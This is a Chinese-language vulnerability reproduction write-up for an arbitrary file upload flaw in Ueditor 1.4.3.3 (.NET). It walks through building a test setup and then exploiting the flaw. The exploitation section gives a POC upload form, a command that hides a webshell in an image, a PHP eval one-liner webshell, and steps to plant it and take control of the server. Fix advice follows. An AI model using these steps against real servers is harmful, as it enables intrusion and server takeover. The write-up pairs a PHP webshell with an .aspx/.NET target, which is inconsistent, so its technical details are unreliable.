Ueditor任意文件上传漏洞

 

0x01漏洞简述

 

 

Ueditor是一款所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,被广大WEB应用程序所使用。本文的高危漏洞属于.NET版本,其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞,黑客利用此漏洞可以在服务器上执行任意指令。
 

0x02 风险等级

 
漏洞的评定结果如下:
评定方式 等级
威胁等级 高危
影响面    广泛
 

0x03 影响版本

 
漏洞存在版本:1.4.3.3 Net版(目前最新版本,已停更)
 

0x04 环境搭建

 
安装ueditor
1.   官方下载最新的版本1.4.3.3 :
https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3
2.   这里有三种版本,注意这个是源码文件,需要进行编译过后才可以部署到web:
3.   进行编译处理,需要环境:java、npm、grunt、node.js
切到ueditor目录,使用npm install命令安装相关依赖包,安装好后目录下会多个node_modules文件夹:
4.全局安装:
npm install -g grunt-cli
5.形成文件:
grunt --encode=utf8 --server=net
IIS环境搭建
1.   打开控制面板\所有控制面板项\程序和功能,开启.net服务,里面有的默认不选:
2.   在c盘创建一个test目录,把utf8-net复制进入,并且改为ueditor文件:
3.   接下来进行配置,来到控制面板-所有控制面板-程序和功能中,开启net模式:
4.   再继续激活web管理工具,和万维网服务的所有文件:
5.   保存配置后退出,右击我的电脑,打开管理,我们进行配置IIS服务:
6.   我们来到IIS服务,点击进去可以看到配置页面:
7.   右击网站,点击添加网站,进行配置,添加本地物理路径为和IP地址端口号:
8.   打开本地页面:
http://172.16.16.108:10000/ueditor/
如图显示则搭建成功:
 

0x05 漏洞复现

 
输入url:
  • http://172.16.16.108:10000/ueditor/net/controller.ashx?action=catchimage
出现{"state":"参数错误:没有指定抓取源"},则说明该网站存在漏洞:

 

0x06 漏洞利用

 
1.   POC如下:action后加IP地址:
  •  
<form 
action="http://172.16.16.108/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
2.   用本地CS创建html,名字为poc.html:
3.制作图片木马:
copy 1.jpg/b . 1.php 2.jpg
  • 一句话木马:

<?php @eval($_POST['a']);?>
4.   公网搭建临时web服务,用于上传木马图片。
5.   我们打开poc html:
6.   输入公网ip地址+图片名+.aspx,上传图片木马:
7.   上传成功后会有地址,我们根据url,链接webshell。
8.   最后用菜刀工具连接,即可获取服务器权限。
 

0x07 修复建议

 
1.修改工程目录下
net/App_Code/CrawlerHandler.cs
文件,添加对文件类型检查的代码。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
 
 
 
 

 

如果您遇到网络安全问题
欢迎致电:0991-8156363
或发送至:sudo@xjsec.cn
新疆海狼科技,您身边的网络安全助理